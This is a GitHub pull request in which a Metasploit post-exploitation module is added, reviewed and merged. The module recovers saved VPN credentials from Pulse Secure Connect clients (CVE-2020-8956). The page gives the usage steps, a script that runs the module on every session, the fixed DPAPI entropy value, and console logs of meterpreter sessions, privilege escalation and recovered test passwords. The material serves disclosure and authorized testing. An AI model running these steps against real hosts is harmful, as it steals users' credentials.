Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[CVE-2020-8956] Pulse Secure Connect Client Credentials Gatherer #14314

Merged
merged 47 commits into from
Dec 4, 2020

Conversation

qkaiser
Copy link
Contributor

@qkaiser qkaiser commented Oct 27, 2020

This post-exploitation module takes advantage of how Pulse Secure Connect clients save user credentials in order to recover them.

TL;DR; Pulse Secure Connect versions up to 9.1R4 and 9.0R5 included rely on Windows DPAPI with a known IV to encrypt credentials before saving them to the registry. This means a malicious process can recover the user's credentials (if they chose to save them).

More details can be found on the accompanying blog post at https://quentinkaiser.be/reversing/2020/10/27/pule-secure-credentials/.

Vulnerable Application

Pulse Secure Connect VPN Client for Windows 9.1.x < 9.1R4 and 9.0.x < 9.0R5.

An end-to-end setup with working Juniper Pulse Secure VPN server, Pulse Secure client on Microsoft Windows, and valid credentials are required for Pulse Secure client to save credentials locally and therefore test this.

Verification Steps

To verify that it works, you should obtain a Meterpreter shell on a Windows host running Pulse Secure client version 9.1.x prior to 9.1R4 or 9.0.x prior to 9.0R5. That client should have a saved VPN connection where the user explicitly ticked the 'save password' box at some point in time.

  1. Get a Meterpreter on a windows machine that has Pulse Secure client installed.
  2. Load the module: use post/windows/gather/credentials/pulse_secure
  3. Set the correct session on the module.
  4. Run the module and enjoy the loot.

Example Run

Normal mode

msf > use post/windows/gather/credentials/pulse_secure
msf > set SESSION 1
msf > run

Output:

[*] Checking for Pulse Secure IVE profiles in the registry
[+] Account Found:
[*]      Username:
[*]      Password: REDACTED
[*]      URI: https://connect.contoso.com/pulse
[*]      Name: Home Working VPN (EU)
[*]      Source: user
[+] Account Found:
[*]      Username:
[*]      Password: REDACTED
[*]      URI: https://connect.contoso.com/pulse
[*]      Name: Home Working VPN (US)
[*]      Source: user
[*] Post module execution completed

Scenarios

Run on all sessions
If you wish to run the post against all sessions from framework, here is how:

  1. Create the following resource script:
framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/gather/credentials/pulse_secure")
  run_single("set SESSION #{sid}")
  run_single("run")
end
  1. At the msf prompt, execute the above resource script:
    msf > resource path-to-resource-script

References

TODO

  • Add the ability to extract passwords when running in elevated mode using the known fixed optional entropy value
  • Fix the version check (right now a client running 9.0.5 will be considered to be affected because it is < 9.1.4, but 9.0.5 is the fixed version of 9.0 branch)

@qkaiser
Copy link
Contributor Author

qkaiser commented Oct 27, 2020

A known limitation is the inability to extract the username linked to saved credentials. One potential avenue would be to hint the module user that it might just be the currently logged in user's username.

@mubix
Copy link
Contributor

mubix commented Nov 4, 2020

It doesn't look like this module works after the fix is in place yet in your blog post you were still able to get the password if elevated. Is there a way to include this contingency into the module? (Awesome work btw!)

@qkaiser
Copy link
Contributor Author

qkaiser commented Nov 4, 2020

It doesn't look like this module works after the fix is in place yet in your blog post you were still able to get the password if elevated. Is there a way to include this contingency into the module? (Awesome work btw!)

Thanks :) There's definitely a way to include that, but I need to check each client versions to make sure they use the same fixed optional entropy value (the 7B4C6492B77164BF81AB80EF044F01CE value mentioned in the blog post), or write down the new ones. I'll look into it in the coming days.

@qkaiser
Copy link
Contributor Author

qkaiser commented Nov 4, 2020

I just figured I'm only checking the running version against the 9.1 branch and not the 9.0 branch, this is something I'll need to add before it gets merged into main. I'll edit the PR with a to-do list.

…ile subsequent ones will be stored in connstore.tmp. Note that even if it ends with '.tmp', this file is not temporary. This commit provides support for deployments with multiple VPN connections.
…registy by previous version and dumping when in elevated mode.
@qkaiser
Copy link
Contributor Author

qkaiser commented Nov 6, 2020

Encodings Conversion Dance

I got a running version that supports extraction and decryption of credentials when executing in elevated mode (SYSTEM). My love/hate relationship with Ruby is not getting better.

If someone with experience on Ruby encodings could take a look at the insane conversion dance I have to perform on registry data to get it to work with DPAPI, that would be great. There must be a better way.

def please_convert(my_str)
output = []
i = 0
while i < my_str.length - 2 do
a = my_str[i] + my_str[i+2]
output.append(a.hex)
i = i + 4
end
return output.pack("c*")
end

data = please_convert(data[18..-4]) # get rid of '{capi} 1,' and trailing null bytes

Some notes on Pulse Secure Config Files

Pulse Secure Connect client saves IVE definitions in three different files:

  • C:\ProgramData\Pulse Secure\ConnectionStore\connstore.dat
  • C:\ProgramData\Pulse Secure\ConnectionStore\connstore.bak
  • C:\ProgramData\Pulse Secure\ConnectionStore\connstore.tmp

These files differ from build to build. Some builds use .bak, other .tmp. The module aggregates everything from these files into a hash indexed by IVE identifier.

Usernames Extraction

When running in elevated mode, we can read the following files:

  • C:\ProgramData\Pulse Secure\ConnectionStore\some-user-sid.dat
  • C:\ProgramData\Pulse Secure\ConnectionStore\some-user-sid.bak

The files are only readable by SYSTEM and hold the VPN username, along with other details. If we're executing in elevated mode we extract the usernames from these files.

Fun Fact

When uninstalling or upgrading Pulse Secure Connect client, the software does not wipe out entries in the registry it had created. This means we can still recover previously saved passwords, even if the client is running a fixed version. This is now supported by the module.

@qkaiser
Copy link
Contributor Author

qkaiser commented Nov 6, 2020

I'll do a refactoring pass on the module this week-end to make it cleaner and idiomatic.

@qkaiser
Copy link
Contributor Author

qkaiser commented Nov 10, 2020

Checked against all versions up to 9.1r9 while running as normal user and system. I'm ready for the actual code review @gwillcox-r7 :)

@gwillcox-r7 gwillcox-r7 self-assigned this Nov 22, 2020
@gwillcox-r7
Copy link
Contributor

@qkaiser Sorry for the delay on this was on a 2 week rotation of research and now back on the 2 week rotation of PR review. I've added this to my list and I'll make sure to get a review of this code back to you by EOD Monday or latest early Tuesday. If by some small chance I don't, feel free to prod me until I do, as you ideally should have gotten a review by now.

@gwillcox-r7
Copy link
Contributor

@qkaiser Made a quick update to your PR description to reflect the fact that 9.0.5 is not a vulnerable copy of the software according to your article you linked in the references.

@gwillcox-r7
Copy link
Contributor

@qkaiser Just a quick heads up but the review will contain a lot of changes. Please wait until I have committed some of the changes and given the go ahead, as otherwise it may look a little overwhelming; some of the changes are easy to make and are more in there for my reference (unfortunately GitHub doesn't have a good way to assign fixes to one person or another to help me make it clear to you which I need some more info on and which are things that I will fix myself).

That being said hopefully the extra comments will allow you to see what sort of things I am fixing if you are curious. If not or if you don't have time then feel free to ignore these extra comments; I'll mark them as resolved so you know that you only need to focus on the ones marked as unresolved where I may need some more info or want to double check things with you.

@gwillcox-r7
Copy link
Contributor

gwillcox-r7 commented Dec 2, 2020

@qkaiser Left some more comments that should resolve the remaining few issues. Let me know if you have any remaining questions on them.

@qkaiser
Copy link
Contributor Author

qkaiser commented Dec 2, 2020

@gwillcox-r7 just answered the remaining comments. You can download the Pulse Secure Connect server virtual machine from https://www.pulsesecure.net/trynow/pulse-connect-secure/ and use it to test the module if you need to. There is a limitation on the amount of users you can create but it is sufficient to establish sessions and test the module. That's what I used throughout my testing.

Co-authored-by: Grant Willcox <63261883+gwillcox-r7@users.noreply.github.com>
@gwillcox-r7
Copy link
Contributor

@qkaiser Thanks, going to check this code out and try set up a machine to test this against so long.

@gwillcox-r7
Copy link
Contributor

Quick link for anyone trying to get this module tested since it seems the old versions of the Pulse Secure Connect Client are no longer available on the website anymore (and whilst I did try some methods to get the older versions from the official website, that only goes back a very limited number of versions):

https://www.jwu.edu/files/utility/ps-pulse-win-9.1r3.0-b1313-64bitinstaller.msi

@gwillcox-r7
Copy link
Contributor

Output from test running as normal user against the most recent version of the client:

msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp
payload => windows/x64/meterpreter/bind_tcp
msf6 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/x64/meterpreter/bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LPORT     4444             yes       The listen port
   RHOST                      no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf6 exploit(multi/handler) > set RHOST 172.21.107.90
RHOST => 172.21.107.90
msf6 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/x64/meterpreter/bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LPORT     4444             yes       The listen port
   RHOST     172.21.107.90    no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf6 exploit(multi/handler) > run

[*] Started bind TCP handler against 172.21.107.90:4444
[*] Sending stage (200262 bytes) to 172.21.107.90
[*] Meterpreter session 1 opened (0.0.0.0:0 -> 172.21.107.90:4444) at 2020-12-02 16:45:54 -0600

meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use post/windows/gather/credentials/pulse_secure 
msf6 post(windows/gather/credentials/pulse_secure) > set SESSION 1 
SESSION => 1
msf6 post(windows/gather/credentials/pulse_secure) > run

[*] Target is running Pulse Secure Connect build 9.1.9.4983.
[!] You're executing from an unprivileged process so this version is considered safe.
[!] However, there might be leftovers from previous versions in the registry.
[!] We recommend running this script in elevated mode to obtain credentials saved by recent versions.
[*] Running credentials acquisition.
[*] Post module execution completed
msf6 post(windows/gather/credentials/pulse_secure) > 

And as the SYSTEM user:

msf6 post(windows/gather/credentials/pulse_secure) > use multi/handler
[*] Using configured payload windows/x64/meterpreter/bind_tcp
msf6 exploit(multi/handler) > run

[*] Started bind TCP handler against 172.21.107.90:4444
[*] Sending stage (200262 bytes) to 172.21.107.90
[*] Meterpreter session 2 opened (0.0.0.0:0 -> 172.21.107.90:4444) at 2020-12-02 16:55:10 -0600

meterpreter > getprivs

Enabled Process Privileges
==========================

Name
----
SeBackupPrivilege
SeChangeNotifyPrivilege
SeCreateGlobalPrivilege
SeCreatePagefilePrivilege
SeCreateSymbolicLinkPrivilege
SeDebugPrivilege
SeImpersonatePrivilege
SeIncreaseBasePriorityPrivilege
SeIncreaseQuotaPrivilege
SeIncreaseWorkingSetPrivilege
SeLoadDriverPrivilege
SeManageVolumePrivilege
SeProfileSingleProcessPrivilege
SeRemoteShutdownPrivilege
SeRestorePrivilege
SeSecurityPrivilege
SeShutdownPrivilege
SeSystemEnvironmentPrivilege
SeSystemProfilePrivilege
SeSystemtimePrivilege
SeTakeOwnershipPrivilege
SeTimeZonePrivilege
SeUndockPrivilege

meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > background
[*] Backgrounding session 2...
msf6 exploit(multi/handler) > use post/windows/gather/credentials/pulse_secure 
msf6 post(windows/gather/credentials/pulse_secure) > set SESSION 2
SESSION => 2
msf6 post(windows/gather/credentials/pulse_secure) > run

[*] Target is running Pulse Secure Connect build 9.1.9.4983.
[+] You're executing from a privileged process so this version is considered vulnerable.
[*] Running credentials acquisition.
[+] Account found
[*]      Username: tester
[*]      Password: thetester123
[*]      URI: 172.21.96.5
[*]      Name: Test
[*]      Source: user
[*] Post module execution completed
msf6 post(windows/gather/credentials/pulse_secure) > 

@gwillcox-r7
Copy link
Contributor

gwillcox-r7 commented Dec 2, 2020

Hmm looks like your code may be opening a handle to C:\Program Files (x86)\Pulse Secure\Pulse and then never closing it cause if I try to uninstall Pulse Secure whilst I am running my Meterpreter session I get an error about this file being inaccessible and closer inspection shows that the process running my Meterpreter shell still has a handle to this file.

Edit: Looks like this also applies to at least three other files in addition to the one mentioned above. Its probably worth me reviewing the code again and checking where these handles are being opened and closed as right now it seems like you may have just done a few calls to open files and then forgot to call the corresponding close function to close the handle once you were done with those files.

Edit 2: Well its still an issue but its not the only thing causing the uninstall to fail. Still not sure what is causing it right now.

@gwillcox-r7
Copy link
Contributor

Hmm something odd is going on with the older version. Tried reverting my machine due to the new version not uninstalling properly but this is what I am getting now:

msf6 post(windows/gather/credentials/pulse_secure) > use multi/handler
[*] Using configured payload windows/x64/meterpreter/bind_tcp
msf6 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/x64/meterpreter/bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LPORT     4444             yes       The listen port
   RHOST     172.21.107.90    no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf6 exploit(multi/handler) > exploit

[*] Started bind TCP handler against 172.21.107.90:4444
[*] Sending stage (200262 bytes) to 172.21.107.90
[*] Meterpreter session 3 opened (0.0.0.0:0 -> 172.21.107.90:4444) at 2020-12-02 17:25:55 -0600

meterpreter > background
[*] Backgrounding session 3...
msf6 exploit(multi/handler) > use post/windows/gather/credentials/pulse_secure 
msf6 post(windows/gather/credentials/pulse_secure) > set SESSION 3
SESSION => 3
msf6 post(windows/gather/credentials/pulse_secure) > sessions -i 3
[*] Starting interaction with 3...

meterpreter > getuid
Server username: DESKTOP-KUO5CML\test
meterpreter > getprivs

Enabled Process Privileges
==========================

Name
----
SeChangeNotifyPrivilege
SeIncreaseWorkingSetPrivilege
SeShutdownPrivilege
SeTimeZonePrivilege
SeUndockPrivilege

meterpreter > background
[*] Backgrounding session 3...
msf6 post(windows/gather/credentials/pulse_secure) > run

[*] Target is running Pulse Secure Connect build 9.1.3.1313.
[+] This version is considered vulnerable.
[*] Running credentials acquisition.
[*] Post module execution completed
msf6 post(windows/gather/credentials/pulse_secure) > run

[*] Target is running Pulse Secure Connect build 9.1.3.1313.
[+] This version is considered vulnerable.
[*] Running credentials acquisition.
[*] Post module execution completed
msf6 post(windows/gather/credentials/pulse_secure) > run

[*] Target is running Pulse Secure Connect build 9.1.3.1313.
[+] This version is considered vulnerable.
[*] Running credentials acquisition.
[*] Post module execution completed
msf6 post(windows/gather/credentials/pulse_secure) > 

Then removed the saved connection, but got the same results:

msf6 post(windows/gather/credentials/pulse_secure) > run

[*] Target is running Pulse Secure Connect build 9.1.3.1313.
[+] This version is considered vulnerable.
[*] Running credentials acquisition.
[*] Post module execution completed
msf6 post(windows/gather/credentials/pulse_secure) > 

Finally got it after creating a new profile and clicking the save credentials button:

msf6 post(windows/gather/credentials/pulse_secure) > run

[*] Target is running Pulse Secure Connect build 9.1.3.1313.
[+] This version is considered vulnerable.
[*] Running credentials acquisition.
[+] Account found
[*]      Username: 
[*]      Password: thetester123
[*]      URI: 172.21.96.5
[*]      Name: testera
[*]      Source: user
[*] Post module execution completed
msf6 post(windows/gather/credentials/pulse_secure) > 

Might be a good idea to print out a warning if no credentials are gathered as this was a bit of a confusing experience: to the end user this looks like a module error rather than the fact that it couldn't find any credential file.

@qkaiser
Copy link
Contributor Author

qkaiser commented Dec 3, 2020

Two things I need to look at so far:

  • closing file handles properly for all files (connection stores, user dedicated connection stores, and version information)
  • print out a message if there are no creds

@qkaiser
Copy link
Contributor Author

qkaiser commented Dec 3, 2020

Oh man good catch on the file handle issue !! The uninstall issue happened to me but I never thought of leftover file handles.

I fixed it in 4f947ac.

This is what it looks like prior to the fix:

C:\Users\John Doe\Documents>.\handle.exe -p 10924
Nthandle v4.22 - Handle viewer
Copyright (C) 1997-2019 Mark Russinovich
Sysinternals - www.sysinternals.com                                                                                                                                                                                                                40: File  (RW-)   C:\Windows
90: File  (RW-)   C:\Users\John Doe\Documents
2BC: File  (R-D)   C:\Windows\System32\en-US\crypt32.dll.mui
304: File  (RW-)   C:\Program Files (x86)\Pulse Secure\Pulse\versionInfo.ini
310: File  (R-D)   C:\Windows\System32\en-US\KernelBase.dll.mui
340: File  (RW-)   C:\ProgramData\Pulse Secure\ConnectionStore\connstore.dat
348: File  (RW-)   C:\ProgramData\Pulse Secure\ConnectionStore\connstore.bak
354: File  (RW-)   C:\ProgramData\Pulse Secure\ConnectionStore\S-1-5-21-2564049793-4065381086-981977977-1001.dat 

With the fix:

C:\Users\John Doe\Documents>.\handle.exe -p 6148
Nthandle v4.22 - Handle viewer
Copyright (C) 1997-2019 Mark Russinovich
Sysinternals - www.sysinternals.com
40: File  (RW-)   C:\Windows
90: File  (RW-)   C:\Users\John Doe\Documents
310: File  (R-D)   C:\Windows\System32\en-US\crypt32.dll.mui
334: File  (R-D)   C:\Windows\System32\en-US\KernelBase.dll.mui    

Side note: I just skimmed through some modules and there are lots of post exploitation modules that do not properly close files, leaving dangling file handles.

@qkaiser
Copy link
Contributor Author

qkaiser commented Dec 3, 2020

The module now prints out a status message if it did not find credentials (see e8ea9e5).

@gwillcox-r7
Copy link
Contributor

Changes look good @qkaiser, will retest this again today and see if I can't land it 👍

@gwillcox-r7
Copy link
Contributor

Running like a charm now 🥳

 ~/git/metasploit-framework │ master ?2  git checkout upstream/pr/14314                                                 ✔ │ 4s │ 2.7.2 Ruby 
Note: switching to 'upstream/pr/14314'.

You are in 'detached HEAD' state. You can look around, make experimental
changes and commit them, and you can discard any commits you make in this
state without impacting any branches by switching back to a branch.

If you want to create a new branch to retain commits you create, you may
do so (now or later) by using -c with the switch command. Example:

  git switch -c <new-branch-name>

Or undo this operation with:

  git switch -

Turn off this advice by setting config variable advice.detachedHead to false

HEAD is now at e8ea9e56ee Print a status message when no credentials are found.
 ~/git/metasploit-framework │ @e8ea9e56 ?2  ./msfconsole                                                                     ✔ │ 2.7.2 Ruby 
                                                  
Call trans opt: received. 2-19-98 13:24:18 REC:Loc

     Trace program: running

           wake up, Neo...
        the matrix has you
      follow the white rabbit.

          knock, knock, Neo.

                        (`.         ,-,
                        ` `.    ,;' /
                         `.  ,'/ .'
                          `. X /.'
                .-;--''--.._` ` (
              .'            /   `
             ,           ` '   Q '
             ,         ,   `._    \
          ,.|         '     `-.;_'
          :  . `  ;    `  ` --,.._;
           ' `    ,   )   .'
              `._ ,  '   /_
                 ; ,''-,;' ``-
                  ``-..__``--`

                             https://metasploit.com


       =[ metasploit v6.0.14-dev-e8ea9e56ee               ]
+ -- --=[ 2072 exploits - 1120 auxiliary - 354 post       ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

Metasploit tip: Writing a custom module? After editing your module, why not try the reload command

msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp
payload => windows/x64/meterpreter/bind_tcp
msf6 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/x64/meterpreter/bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LPORT     4444             yes       The listen port
   RHOST                      no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf6 exploit(multi/handler) > set RHOST 172.28.47.180
RHOST => 172.28.47.180
msf6 exploit(multi/handler) > exploit

[*] Started bind TCP handler against 172.28.47.180:4444
[*] Sending stage (200262 bytes) to 172.28.47.180
[*] Meterpreter session 1 opened (0.0.0.0:0 -> 172.28.47.180:4444) at 2020-12-03 10:49:16 -0600

meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use post/windows/gather/credentials/pulse_secure 
msf6 post(windows/gather/credentials/pulse_secure) > set payload 1
[-] The value specified for payload is not valid.
msf6 post(windows/gather/credentials/pulse_secure) > set session 1
session => 1
msf6 post(windows/gather/credentials/pulse_secure) > show options

Module options (post/windows/gather/credentials/pulse_secure):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  1                yes       The session to run this module on.

msf6 post(windows/gather/credentials/pulse_secure) > run

[*] Target is running Pulse Secure Connect build 9.1.3.1313.
[+] This version is considered vulnerable.
[*] Running credentials acquisition.
[+] Account found
[*]      Username: 
[*]      Password: thetester123
[*]      URI: 172.21.96.5
[*]      Name: testera
[*]      Source: user
[*] Post module execution completed

Removed the credentials at this point and tried again:

msf6 post(windows/gather/credentials/pulse_secure) > run

[*] Target is running Pulse Secure Connect build 9.1.3.1313.
[+] This version is considered vulnerable.
[*] Running credentials acquisition.
[*] No credentials were found.
[*] Post module execution completed

And finally uninstalled the product, which had no errors as there were no extra file handles, and we got the right error message that the product is not installed on the target system:

msf6 post(windows/gather/credentials/pulse_secure) > run

[-] Pulse Secure Connect client is not installed on this system
[*] Post module execution completed
msf6 post(windows/gather/credentials/pulse_secure) > 

This should be good to land now, just got to wait for Travis to finish its tests which may take a while (unfortunately it has been getting very slow as of late). Should hopefully be done later this evening or tonight though. Thanks for your contribution and patience @qkaiser!

@gwillcox-r7 gwillcox-r7 merged commit 5961bf7 into rapid7:master Dec 4, 2020
@gwillcox-r7 gwillcox-r7 added the rn-modules release notes for new or majorly enhanced modules label Dec 4, 2020
@gwillcox-r7
Copy link
Contributor

gwillcox-r7 commented Dec 4, 2020

Release Notes

New module post/windows/gather/credentials/pulse_secure gathers credentials on targets running Pulse Secure Connect VPN Client for Windows, versions 9.1.x < 9.1R4 and 9.0.x < 9.0R5. Users do not need to be running as an admin for the exploit to work on these versions of the client, however the user will need to be running as SYSTEM to successfully gather credentials from more recent versions of the software.

@gwillcox-r7
Copy link
Contributor

Okay so did run into one weird scenario with this which is that if we are running as SYSTEM then the password gathering doesn't seem to work for some reason. Originally I thought this was an issue gathering the data for username but then I saw the output will always contain a blank username entry unless its run as SYSTEM, so despite the module always outputting a blank username unless its running as SYSTEM, its working as intended.

The more serious issue though is this:

msf6 post(windows/gather/credentials/pulse_secure) > sessions -i 5
[*] Starting interaction with 5...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > getprivs

Enabled Process Privileges
==========================

Name
----
SeBackupPrivilege
SeChangeNotifyPrivilege
SeCreateGlobalPrivilege
SeCreatePagefilePrivilege
SeCreateSymbolicLinkPrivilege
SeDebugPrivilege
SeImpersonatePrivilege
SeIncreaseBasePriorityPrivilege
SeIncreaseQuotaPrivilege
SeIncreaseWorkingSetPrivilege
SeLoadDriverPrivilege
SeManageVolumePrivilege
SeProfileSingleProcessPrivilege
SeRemoteShutdownPrivilege
SeRestorePrivilege
SeSecurityPrivilege
SeShutdownPrivilege
SeSystemEnvironmentPrivilege
SeSystemProfilePrivilege
SeSystemtimePrivilege
SeTakeOwnershipPrivilege
SeTimeZonePrivilege
SeUndockPrivilege

meterpreter > background
[*] Backgrounding session 5...
msf6 post(windows/gather/credentials/pulse_secure) > set session 5
session => 5
msf6 post(windows/gather/credentials/pulse_secure) > run

[*] Target is running Pulse Secure Connect build 9.1.3.1313.
[+] This version is considered vulnerable.
[*] Running credentials acquisition.
[*] No credentials were found.
[*] Post module execution completed
msf6 post(windows/gather/credentials/pulse_secure) >

It seems that at least in some cases, running this as SYSTEM will result in the module not outputting any credentials. This was tested against PulseSecure Connect Client 9.1 R3

@gwillcox-r7
Copy link
Contributor

Looks also like running this as SYSTEM on the latest version produces similar output:

msf6 post(windows/gather/credentials/pulse_secure) > run

[*] Target is running Pulse Secure Connect build 9.1.9.4983.
[+] You're executing from a privileged process so this version is considered vulnerable.
[*] Running credentials acquisition.
[*] No credentials were found.
[*] Post module execution completed
msf6 post(windows/gather/credentials/pulse_secure) > show options

Module options (post/windows/gather/credentials/pulse_secure):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  5                yes       The session to run this module on.

msf6 post(windows/gather/credentials/pulse_secure) > 

@qkaiser
Copy link
Contributor Author

qkaiser commented Dec 14, 2020

For version 9.1.3 this is normal that the module doesn't report credentials.

Windows Data Protection API provides two different scopes when encrypting data:

  • CurrentUser - A key belonging to the current user (derived from the user password's hash, the user SID, and a master key) is used to encrypt the provided data. The content can only be recovered by the current user calling the DPAPI.
  • LocalSystem - A system wide key is used to encrypt the provided data, the content can be retrieved by anyone calling the DPAPI.

Pulse Connect Secure use the CurrentUser context, which means calling CryptUnprotectData from another user context will not work. So if you want to retrieve the save credentials of user 'jdoe', you have to execute as 'jdoe' without elevation.

Technically, it could be possible for a process executing with SYSTEM privileges to decrypt the content anyway given that it will have access to any user password hash, master key, and SID. Re-implementing DPAPI key derivation and decryption in Ruby is clearly out of scope of this module though, especially when tools provide that capability if you give them the right files.

"Reversing dpapi and stealing windows secrets offline" is an interesting research on the subject, although quite old now.

Regarding version 9.1.9.4983 I'll give it a try tomorrow. The failure looks weird to me given that you successfully executed the module against that exact version earlier and the only changes since then were commits 4f947ac and e8ea9e5, which simply added a print statement and proper closing of files.

@qkaiser
Copy link
Contributor Author

qkaiser commented Dec 14, 2020

This is why I'm not testing with SYSTEM privileges on versions prior to the fix that moved the DPAPI call to a service running as SYSTEM. See the table at #14314 (comment).

@gwillcox-r7
Copy link
Contributor

gwillcox-r7 commented Dec 14, 2020

@qkaiser thanks for the explanation, that makes a lot of sense. I'll focus just on trying to fix the issues with the latest version then.

EDIT: Alright confirmed the code from commit 585bc99 works fine, so something must have changed after then to make it not work. Will investigate some more...

EDIT #2: Okay the latest version of the code on this branch is working as expected when running as system....the plot thickens...

@gwillcox-r7
Copy link
Contributor

Huh so I tried this again and it seems to work fine. Its quite likely that there was some configuration issue that was temporary. As this is not a standard setup issue I'm going to leave this as is since it was likely a temporary local issue. I'm not sure what caused it to be honest, but attempting a clean up after installing the old version over the new one and removing some of the old registry keys seems to have helped.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
None yet
Development

Successfully merging this pull request may close these issues.

4 participants